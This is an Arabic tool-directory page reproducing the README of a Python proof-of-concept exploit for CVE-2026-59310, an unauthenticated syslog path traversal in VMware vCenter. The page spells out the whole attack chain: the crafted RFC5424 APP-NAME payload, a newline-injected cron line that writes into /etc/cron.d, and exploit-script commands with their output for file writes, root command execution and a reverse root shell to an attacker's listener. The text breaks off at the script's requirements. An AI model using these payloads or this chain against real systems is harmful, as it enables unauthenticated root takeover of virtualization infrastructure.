Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-59310-POC — Python PoC واستغلال لـ CVE-2026-59310، وهو اجتياز مسار syslog في VMware vCenter يؤدي إلى تنفيذ أوامر عن بُعد بصلاحيات root دون مصادقة عبر حقن cron، مع إرشادات الكشف والتنظيف. | Kitploit
أدوات/GitHubGitHub/chinaran0/cve-2026-59310-poc
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالاختبار الاختراقالفريق الأحمرالاستجابة للحوادثأداة الوصول عن بعدتطوير الحمولات
GitHub
5525منذ 23 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
chinaran0/cve-2026-59310-poc

CVE-2026-59310-POC

Python PoC واستغلال لـ CVE-2026-59310، وهو اجتياز مسار syslog في VMware vCenter يؤدي إلى تنفيذ أوامر عن بُعد بصلاحيات root دون مصادقة عبر حقن cron، مع إرشادات الكشف والتنظيف.

عرض المستودع

CVE-2026-59310 — اجتياز مسار Syslog في VMware vCenter يؤدي إلى تنفيذ أوامر عن بُعد دون تصريح

إخلاء المسؤولية: هذا المشروع مخصص فقط لاختبارات الأمان المصرّح بها، والتحقق من الثغرات، وأبحاث الدفاع. يُرجى استخدامه في بيئات حصلت على تصريح كتابي صريح. يتحمل المستخدم وحده مسؤولية أي عواقب ناتجة عن سوء الاستخدام.


جدول المحتويات

  • نظرة عامة على الثغرة
  • الإصدارات المتأثرة
  • أسباب الثغرة
  • سلسلة الاستغلال
  • البيئة والتحقق من الاستغلال
  • إعادة الاستغلال عبر السكربت
  • الكشف والفحص الذاتي
  • توصيات الإصلاح
  • الأسئلة الشائعة
  • روابط مرجعية

نظرة عامة على الثغرة

البندالمحتوى
اسم الثغرةثغرة اجتياز المسار في Syslog في VMware vCenter
رقم الثغرةCVE-2026-59310
نوع الثغرةاجتياز المسار (Path Traversal) → كتابة ملفات عشوائية → تنفيذ أوامر عن بُعد
CVSS 3.19.8 (حرجة)
شرط الاستغلاليكفي فقط الوصول إلى منفذ syslog (افتراضيًا UDP/TCP 514)، دون أي بيانات اعتماد
نتيجة الاستغلالالكتابة إلى أي مسار وتنفيذ أي أوامر بصلاحيات root
تاريخ الإفصاح2026-07-29
الاستغلال في البريةتم رصده
إشعار المورّدVMSA-2026-0006

تستخدم خدمة استقبال syslog المدمجة في vCenter (rsyslog) قالب مسار ديناميكي لحفظ السجلات، حيث يقوم القالب بدمج حقلي APP-NAME وHOSTNAME من ترويسة الرسالة مباشرةً في مسار الملف، دون أي تنقية للمسار. يستطيع المهاجم إرسال رسالة مُصمّمة إلى منفذ syslog الذي يمكن الوصول إليه، مما يجعل مسار الكتابة يفلت من دليل السجلات المحدد مسبقًا، ثم بالاقتران مع المهام المجدولة تحقيق تنفيذ أوامر عن بُعد.

يُعدّ vCenter مركز إدارة المحاكاة الافتراضية، وسقوطه يعني سقوط بيئة vSphere / VCF بأكملها.


الإصدارات المتأثرة

الإصدارات المتأثرة (الأقدم من إصدارات الإصلاح التالية)

الفرعالنطاق المتأثرإصدار الإصلاح
9.1< 9.1.0.03009.1.0.0300
9.0< 9.0.2.01009.0.2.0100 (Build 25629525)
8.0 U3< 8.0 U3k8.0 U3k
8.0 U2< 8.0 U2f8.0 U2f
8.0 الإصدار الأولي / U1الكلالترقية وفق المسار المدعوم إلى 8.0 U3k أو أعلى
7.0لم يتم تثبيت تصحيح الدعم الممتد المقابلتواصل مع Broadcom للحصول على التصحيح، أو الترحيل إلى إصدار مدعوم

يشمل أيضًا: عمليات نشر vCenter المستقلة، بالإضافة إلى مكوّنات vCenter المتأثرة المستخدمة في VMware Cloud Foundation وVMware vSphere Foundation وVMware Telco Cloud.

البيئة التي تم التحقق منها: VMware vCenter Server 9.0.2.0 / Build 25148086، أقدم من إصدار الإصلاح 25629525، وهو بالفعل في حالة غير مُصلّحة.


أسباب الثغرة

1. دمج مباشر لحقول غير موثوقة في قالب المسار الديناميكي

/etc/rsyslog.conf (إعداد VMware الافتراضي من المصنع):

29: $template defaultLoc,     "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc,         "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"

يُستخدم %app-name% كاسم دليل واسم ملف في آنٍ واحد، دون أي تنقية للمسار.

2. المحدِّد (selector) متسامح أكثر من اللازم

63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt

يشترط فقط مطابقة البادئة، فيكفي المهاجم استخدام rsyslog/... لمطابقة هذه القاعدة والدخول إلى قالب المسار الديناميكي.

3. تسرّب محرف السطر الجديد (مفتاح RCE)

24: $EscapeControlCharactersOnReceive off

يُكتب محتوى الرسالة بما فيه محرف السطر الجديد كما هو على القرص، مما يمكّن المهاجم من التحكم في بنية الأسطر للملف المكتوب.

4. نقطة التجاوز الجوهرية: عدم اتساق سلوك محلّلي RFC3164 وRFC5424

هذه هي النقطة الأكثر عرضة للتفويت في تقييم هذه الثغرة.

  • RFC3164 (pmrfc3164): يستخدم قائمة أحرف مسموحة عند تحليل اسم المضيف، ولا يسمح بـ / افتراضيًا، مما يؤدي إلى اقتطاع APP-NAME عند / → لا يمكن الاجتياز.
  • RFC5424 (pmrfc5424): حقل APP-NAME مستقل ومفصول بمسافة، ولا يخضع لتحقق قائمة الأحرف المسموحة، فيُحتفظ بـ / و.. كما هما → يمكن الاجتياز.

يستخدم الخادم input(type="imudp" port="514") مجموعة القواعد الافتراضية، ويقبل رسائل RFC5424 أيضًا. يكفي أن يكتب المهاجم الرسالة بصيغة RFC5424، لتصل أحرف الاجتياز مباشرةً إلى مسار الملف.

مقارنة عملية (نفس الحمولة rsyslog/../../../../tmp/x):

المحلّلالقيمة الفعلية لـ %app-name%
pmrfc3164rsyslog ← مقتطع عند /
pmrfc5424rsyslog/../../../../tmp/x ← محفوظ بالكامل

دليل مساند: سيتم إنشاء .. المجرّدة كـاسم دليل حرفي (مثل rsyslog..)، مما يدل على أن طبقة omfile في rsyslog لا تقوم بتطبيع ..؛ وما يحدد النجاح فعليًا هو قدرة المحلّل على تمرير / إلى الحقل.


سلسلة الاستغلال

① حزمة UDP دون مصادقة  →  ② حقل APP-NAME بصيغة RFC5424 يحمل الاجتياز  →  ③ الإفلات من دليل السجلات والكتابة العشوائية (root)
                                                          ↓
                     ⑤ تنفيذ أوامر بصلاحيات root  ←  ④ زرع مهمة مجدولة في /etc/cron.d

الخطوات ①②③: كتابة ملفات عشوائية دون مصادقة (root)

<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello

بالتعويض في القالب:

الدليل = /var/log/vmware/rsyslog/../../../../tmp/PWNED  →  /tmp/PWNED
الملف  = نفسه + "-syslog.log"                          →  /tmp/PWNED-syslog.log

النتيجة: الكتابة بمالك root إلى /tmp/PWNED-syslog.log، مع إنشاء الدليل الأب المفقود تلقائيًا، والمحتوى قابل للتحكم بالكامل.

الخطوات ④⑤: من كتابة الملف إلى RCE

ينتهي اسم الملف المكتوب دائمًا بـ -syslog.log، لذا لا يمكن الكتابة فوق /etc/cron.d/xxx مباشرةً. لكن بفضل تسرّب محرف السطر الجديد، يمكن حقن سطر جديد في MSG، لتبدأ المحتويات القابلة للتحكم من العمود 0 في الملف:

2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc    ← يبلّغ cron عن "bad minute"، ويتم تجاهله
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1'             ← يُنفَّذ كسطر cron صالح
#

يقوم crond بالجدولة والتنفيذ بصلاحيات root، فنحصل على:

uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)

مسارات بديلة للتنفيذ

  • دليل الموارد الثابتة في VAMI: الكتابة إلى /opt/vmware/share/htdocs/ (يستمع lighttpd على 5480)، ثم القراءة عبر https://<target>:5480/...، بما يتوافق مع وصف إشعار المورّد.
  • /var/spool/cron/root: يمكن الكتابة إلى هذا الدليل، لكنه يتطلب ملفًا باسم root نفسه، وهو مقيّد بلاحقة -syslog.log، لذا فإن /etc/cron.d/ أكثر مباشرة.

البيئة والتحقق من الاستغلال

البندالقيمة
الهدفVMware vCenter Server 9.0.2.0، Build 25148086
إصدار الإصلاح9.0.2.0100، Build 25629525
rsyslog8.2306.0-4.ph5 (حزمة VMware المخصّصة)
منفذ syslogUDP/TCP 514، TCP 1514 (TLS)
متطلبات المصادقةلا يوجد

نتائج التحقق

كتابة ملفات عشوائية (دون مصادقة)

$ python3 exploit_cve_2026_59310.py <target> --check
[i] إصدار مساحة أسماء API: 9.0.0.0  (ليس appliance build، للإشارة إلى البصمة فقط)
[*] APP-NAME    : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] تم الإرسال. يُتوقع إنشاء ملف بمالك root على الهدف

# على الهدف:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log

تنفيذ الأوامر (root)

$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] تم الزرع      : /etc/cron.d/cve59310<name>-syslog.log
[i] قراءة النتيجة    : cat /tmp/cve59310_<name>.txt

# بعد حوالي 60 ثانية:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost

shell تفاعلي عكسي (root)

$ python3 exploit_cve_2026_59310.py <target> --lhost <عنوان IP الخاص بك> --lport 4444
[+] تم الاستماع على 0.0.0.0:4444
[+] تم الزرع      : /etc/cron.d/cve59310<name>-syslog.log
[+] نجح الاتصال العكسي من <target>:56184  —— تم إنشاء root shell

root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root

يُرجى استبدال عنوان IP الهدف وعنوان الاتصال العكسي ببيئة الاختبار المصرّح بها الخاصة بك.


إعادة الاستغلال عبر السكربت

المتطلبات

تنزيل الأداة